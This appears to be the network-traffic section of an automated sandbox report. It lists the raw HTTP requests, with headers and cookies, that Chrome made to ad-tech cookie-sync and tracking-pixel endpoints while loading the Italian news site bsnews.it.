Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3371&partner_device_id=01F5328A-C4D9-44AD-8468-60A885247C68 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1711615890295; TapAd_DID=40662bab-59e7-453d-8534-da10890213df
Source: global traffic	HTTP traffic detected: GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=847CD017CFA04EE58AAA8C55A751BC64
Source: global traffic	HTTP traffic detected: GET /sync/img?mt_exid=75&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D1%26uid%3D%5BMM_UUID%5D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: sync.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26; mt_mop=; mt_misc=mt_bt:1
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; chkChromeAb67Sec=1; pi=156136:2; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; SyncRTB3=1712793600%3A250_3_166_21_13_54_71_104_220%7C1712188800%3A223
Source: global traffic	HTTP traffic detected: GET /merge?pid=76&3pid=412063c9-af57-0892-2e1b-e0b2f8a819b5&gdpr=0&gdpr_consent= HTTP/1.1Host: ce.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_; ljtrtbexp=eJxlkDsSgEAIQ%2B%2BytQXE5efVHO%2Fu6NoQyxcIAc5RMQ4NRcJmyTbQUeUn7F0I7Ty57osB8YervkgNAT4luyeFQp0yivopMyexEdM8kN%2FWPupW8tadOOim9qTrBtIaQv0%3D
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=4&gdpr=0 HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092; _ssuma=eyIyNCI6MTcxMTYxNTg5MTQ3NSwiMzkiOjE3MTE2MTU4OTE0NzUsIjciOjE3MTE2MTU4OTE0NzV9
Source: global traffic	HTTP traffic detected: GET /6ccbc109824ae3014a36fd8993cc151d/?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&gdpr=0 HTTP/1.1Host: sync.richaudience.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Source: global traffic	HTTP traffic detected: GET /cacheid/1711615889919.69407391658313378 HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsuMPUa6QWqUXjOB1gesXf5CW0gIWxO8FTM0U7omD4p-MV8yaS2PF_rYmIEFuphM0EKP6fptMkjhtOJr2Tlg-VyAFLaXsUqqbalYjnwWRZmwlzmbTNHz54VuUVUCSULzupwIyCbIjZ8_iRMC3f6kLUZY2eSoViAogLGAqLs_BktSLly4thJQoQ-ilz6JNKtpsygcsZ2yjfV_sOZ1pJxpiHhmdDL7mmF4fZIKQhaAC-rZbJsIqGJr6s1jTp03RufZnLiXUEg0s6kQYinKEvX3D4XYmUPKYtagyVZSqMuc00gmUEzlzqayJ6jc5EyH5aD-nMRfT5DwLw5jHf2GZ-6FO0XvikBSajgDkRo_-N9wSC5uYQ&sai=AMfl-YRrRRxy3bKc2ZUt2PMHDQgiOs50SKxC0PYJp7PBvsX89WBGTVLyvtj-AU8lh2OFvluEh3gLjEuNFGeRn9vkvKkQaLxwWdoN3ZP1ilqE1Y1mBc0XUv0CHLsf9sgS2kz-9QI79xY_cRmzPQhj7Ly4AIo&sig=Cg0ArKJSzF8Hp6VDb2bqEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=AfUyisTZRK2EaGCohSR8aA%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26gdpr%3D0%26gdpr_consent%3D%26uid%3D$UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/callback.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=logicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
Source: global traffic	HTTP traffic detected: GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/prepare.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languages/it-v1.1.json?ver=20240327 HTTP/1.1Host: widgets.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://widgets.wp.com/likes/master.html?ver=20240327Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=$UID HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=847CD017CFA04EE58AAA8C55A751BC64
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=MDFGNTMyOEEtQzREOS00NEFELTg0NjgtNjBBODg1MjQ3QzY4&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=1955&partner_device_id=2bb0cef5-1ee4-0f18-2346-cec2b395e7eb HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1711615890295; TapAd_DID=40662bab-59e7-453d-8534-da10890213df
Source: global traffic	HTTP traffic detected: GET /getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /match/?int_id=113&gdpr=0&gdpr_consent=&callback=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Donetag.com%26id%3D%24%7BUSER_TOKEN%7D&ot_initiated=1 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?cb=1711615879045&gdpr=0&gdpr_consent=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=onetag_eb&gdpr=0&gdpr_consent=&google_cm HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
Source: global traffic	HTTP traffic detected: GET /v1/trk/adv HTTP/1.1Host: audience.codesour.techConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=01F5328A-C4D9-44AD-8468-60A885247C68&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 